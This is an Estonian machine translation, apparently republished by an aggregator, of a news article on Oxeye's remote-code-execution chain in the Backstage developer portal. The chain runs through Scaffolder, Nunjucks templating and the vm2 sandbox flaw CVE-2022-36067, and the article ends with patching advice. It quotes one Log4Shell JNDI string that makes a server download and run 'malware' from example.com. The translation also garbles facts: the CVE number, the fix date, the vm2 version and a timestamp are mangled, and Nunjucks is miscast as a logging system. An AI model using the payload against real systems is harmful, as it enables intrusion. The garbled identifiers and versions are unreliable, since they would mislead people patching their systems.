Log4Shelli sarnane koodikäivitusauk populaarses Backstage'i arendajatööriistas PlatoBlockchain Data Intelligence. Vertikaalne otsing. Ai.

Log4Shelli sarnane koodikäivitusauk populaarses Backstage'i arendaja tööriistas

Pilvekodeerimise turvafirma Oxeye teadlased on pannud kirja kriitilise vea, mille nad hiljuti populaarses pilvearenduse tööriistakomplektis Backstage avastasid.

Nende aru sisaldab selgitust selle kohta, kuidas viga toimib, ja kontseptsiooni tõendi (PoC) koodi, mis näitab, kuidas seda ära kasutada.

Backstage on nn pilvearendusportaal – omamoodi äriloogika taustaprogramm, mis muudab veebipõhiste API-de (rakenduste programmeerimisliideste) loomise lihtsaks, et võimaldada teie ettevõttes ja väljaspool kodeerijaid teie võrguteenustega suhelda.

Projekti enda sõnade kohaselt loodi algselt Spotifys, kuid nüüd avatud lähtekoodiga GutHubis:

Backstage on avatud platvorm arendajaportaalide loomiseks. Tsentraliseeritud tarkvarakataloogi toel Backstage taastab teie mikroteenuste ja infrastruktuuri korra ning võimaldab teie tootemeeskondadel saata kiiresti kvaliteetset koodi – autonoomiat kahjustamata.

Backstage ühendab kõik teie infrastruktuuri tööriistad, teenused ja dokumentatsiooni, et luua sujuvam arenduskeskkond otsast lõpuni.

Ei, me ei tea ka tegelikult, mida see tähendab, kuid me teame, et tööriistakomplekt on kirjutatud JavaScriptis ja töötab serveripoolses JavaScripti süsteemis node.jsja tõmbab NPM-ökosüsteemist sisse tarneahela sõltuvuste võrku.

NPM on lühend sõnadest Sõlme paketihaldur, automatiseeritud tööriistakomplekt, mis tagab, et teie JavaScripti taustakood saab hõlpsasti kasutada laia valikut avatud lähtekoodiga teeke, mis pakuvad populaarseid eelkirjutatud abitööriistu kõige jaoks alates krüptograafiast ja andmebaasihaldusest kuni logimise ja versioonikontrollini.

Koodi kaugkäivitamine

Kahjuks võib täna avalikustatud viga, kui seda ei parandata, anda autentimata kõrvalistele isikutele (lõdvalt kõigile, kes saavad teie serveritega API-ühendusi luua) võimaluse käivitada teie võrgu äriloogika serverites koodi kaugkäivitus (RCE).

Õnneks aga, kui oleme Oxeye kirjutist õigesti tõlgendanud, sõltub rünnak, mida nad oma Backstage RCE jaoks kirjeldavad, kodeerimisvigade jadast, mis lõpuks sõltuvad konkreetsest veast, mis on määratud. CVE-2022-36067 tarneahela komponendis, millele Backstage tugineb nimega vm2.

Kui teil tekib huvi, siis vm2 on üldotstarbeline NPM-moodul, mis rakendab "virtuaalse masina liivakasti", mille eesmärk on muuta potentsiaalselt riskantse JavaScripti teie serverites käitamine pisut turvalisemaks.

See CVE-2022-36067 viga vm2-s oli teatatud augustis 2022 Oxeye enda poolt (kes andis sellele PR-sõbraliku nime "Sandbreak", kuna see murdis liivakastist välja) ja koheselt lapitud vm2 meeskonna poolt peaaegu kolm kuud tagasi.

Niipalju kui me näeme, kui olete Backstage'i kasutaja, soovite veenduda, et olete oma Backstage'i seadistuses kõik ohus olevad komponendid paigatud...

…aga kui parandasite kõik need kuud tagasi vm2 komponendi, mis oli Sandbreak'i suhtes haavatav, siis tundub, et te pole Oxeye viimases avalikustuses kirjeldatud ärakasutamise suhtes otseselt haavatav.

Samuti, kui teie lavatagused serverid on konfigureeritud nii, nagu head küberjulgeoleku juhised soovitavad, kui autentimine on nõutav nii võrgu serval kui ka võrgu sees, ei ohusta teid juhuslikud „ainult teadlaste jaoks mõeldud” proovid „abistavatelt” isikutelt. näidata, et nad on huvitatud küberohtude "uuringutest".

"Emmentali juustu" rünnak

Lihtsamalt öeldes on äsja avalikustatud turvaprobleemid mitmete turvaprobleemide, näiteks Emmentali juustuviilude augud, mis võivad järjestikku tungida, kui ründaja suudab igale viilule vähemalt ühe augu rivistada.

Nagu me aru saame, sisaldab Backstage komponenti nimega Scaffolder, mis, nagu nimigi ütleb, aitab teil hallata erinevaid lisandmooduleid (tuntud kui pistikprogramme), mida teie arendajakogukond võib soovida või vajada.

Scaffolder omakorda kasutab Mozilla sõnumite logimise süsteemi, mida tuntakse Nunjucksina ja mis sisaldab nn. stringi mallimine in node.js ringid, nagu stringi interpolatsioon Java maailmas ja nagu stringi asendamine süsteemiadministraatoritele, kes kasutavad käsushelle, näiteks Bash.

Kui stringide interpolatsioon heliseb kella, on see tõenäoliselt selle keskmes Log4Shell haavatavus 2021. aasta detsembris ja Follina viga 2022. aasta keskel.

See on koht, kus saate stringimalli spetsiaalsete "kodeerimismärkide" alusel logimissõnumi sisu ümber kirjutada, nii et string, näiteks $USER võidakse asendada serveris kasutatava kontonimega või ${PID} võib tuua praeguse protsessi ID.

Log4Shelli äärmisel juhul uudishimuliku välimusega loits ${jndi:ldap://example.com:8888/malware} võib otse petta serverit alla laadima programmi nimega malware Alates example.com ja käivitab selle vaikselt taustal.

Teisisõnu peate olema täiesti kindel, et ebausaldusväärsest allikast (nt väliskasutaja) saabuvaid andmeid ei edastata kunagi pimesi kasutatavasse stringimalli või stringide interpolatsiooni funktsiooni. kui mallitekst ise.

Näiteks kui kaugkasutaja üritab teie serverit petta, andes oma kasutajanimeks as ${{RISKY}} (eeldusel, et malliteek kasutab ${{...}} selle spetsiaalse markerina), peate tagama, et teie logikood salvestaks selle ulaka välimusega teksti õigesti sõna otseses mõttes nii, nagu see vastu võeti…

...selle asemel, et lubada logitaval tekstil logimisfunktsiooni enda kontrolli alla võtta!

Vana lastesalmi sõnadega peate tagama, et te ei laulaks: "Minu sees on auk. ${{BUCKET}}, kallis Liza, kallis Liza, mu sees on auk ${{BUCKET}}, kallis Liza. Auk!"

Mähitud turvateki sisse

Ausalt öeldes pakib Backstage Nunjucksi võib-olla liiga võimsa mallimis-/interpoleerimisfunktsiooni järjekordse tarneahela komponendi, nimelt ülalmainitud liivakastisüsteemi vm2 sisse, mis peaks piirama ohtu, mida pahatahtlik kasutaja võib pätiga teha. -lõksus sisendandmed.

Kahjuks suutsid Oxeye teadlased siduda oma äsja avastatud stringimallide koodikäivitusteed rakenduses Backstage + Scaffolder + Nunjucks vm2022 turvaümbrises oleva vanema haavatavusega CVE-36067-2, et saavutada võimalik koodi kaugkäivitamine Backstage'i serveris. .

Mida teha?

Kui olete lavatagune kasutaja:

  • Veenduge, et teil oleks Backstage'i ja selle sõltuvuste uusimad versioonid, sealhulgas plugin-scaffolder-backend komponent. Oxeye sõnul parandati Backstage'i koodi asjakohased vead 01. septembriks 2022, nii et kõik pärast seda avaldatud ametlikud punktid peaksid sisaldama parandusi. Kirjutamise ajal [2022-11-1T16:00Z] hõlmab see lavatagust 1.6.0, 1.7.0 ja 1.8.0, välja antud vastavalt 2022-09-21, 2022-10-18 ja 2022-11-15.
  • Kontrollige, kas teie Backstage'i installi autentimine on ootuspäraselt konfigureeritud. Oxeye väidab, et autentimine on vaikimisi välja lülitatud ja pärast selle järgimist Lavatagused juhised, lubasid taustaserverid (mis ilmselt niikuinii ei peaks ilmselt olema väliselt eksponeeritud) siiski autentimata juurdepääsu. See võib olla teie soov, kuid soovitame seda probleemi kasutada põhjusena, et kontrollida, kas seadistus vastab teie kavatsustele.
  • Kontrollige, millistele teie Backstage'i infrastruktuuri osadele on Internetist juurdepääs. Kasutage seda probleemi veel kord oma võrgu väljastpoolt skannimiseks, kui te pole seda hiljuti teinud.

Kui olete node.js/NPM kasutaja:

  • Veenduge, et teil oleks vm2 liivakasti komponendi uusim versioon. See võib olla installitud sõltuvaks muust kasutatavast tarkvarast, isegi kui teil pole Backstage'i. Haavatavus CVE-2022-36067 parandati 2022, seega soovite vm08 versiooni 3.9.11 või hiljem.

Kui olete programmeerija:

  • Olge võimsate logimisfunktsioonide helistamisel nii kaitsev kui võimalik. Kui kasutate logimisteenust (sh Nunjucks või Log4J), mis sisaldab võimsaid mallimis-/interpoleerimisfunktsioone, lülitage välja kõik funktsioonid, mida te ei vaja, et neid ei saaks kogemata ära kasutada. Veenduge, et ebausaldusväärset sisendit ei kasutataks kunagi mallina, vältides seeläbi ründajatel oma otseselt ohtlikke sisendstringe.
  • Olenemata muudest ettevaatusabinõudest desinfitseerige oma logimise sisendid ja väljundid. Pidage meeles, et keegi teine ​​peab tulevikus teie logifailid avama. Ärge lubage oma logifaili sattuda tahtmatutel röövlõksudel, mis võivad hiljem probleeme tekitada, näiteks HTML-i fragmente, millesse on jäetud skriptimärgendid. (Keegi võib faili kogemata brauseris avada.)

Isegi kui saate sisendi usaldusväärsest allikast, on harva põhjust mitte teha seda enne selle kasutamist oma sanitaarkontrolli.

(Võite aeg-ajalt erandit põhjendada, näiteks jõudluse huvides, kuid see peaks olema erand, mitte reegel.)

Esiteks aitab uuesti kontrollimine märgata vigu, mida eelmised kodeerijad võisid heauskselt teha; teiseks aitab see piirata halbade või varjatud andmete levikut, kui teie ökosüsteemi mõni muu osa satub ohtu.

Nende Emmentali juustuviilude puhul, mida me varem mainisime, on see, et kuigi need on läbilaskvad, kui igal lehel on vähemalt üks auk…

…nad on veekindlad, kui on vähemalt üks aukudega leht, mis ei ühti üldse!


Ajatempel:

Veel alates Alasti turvalisus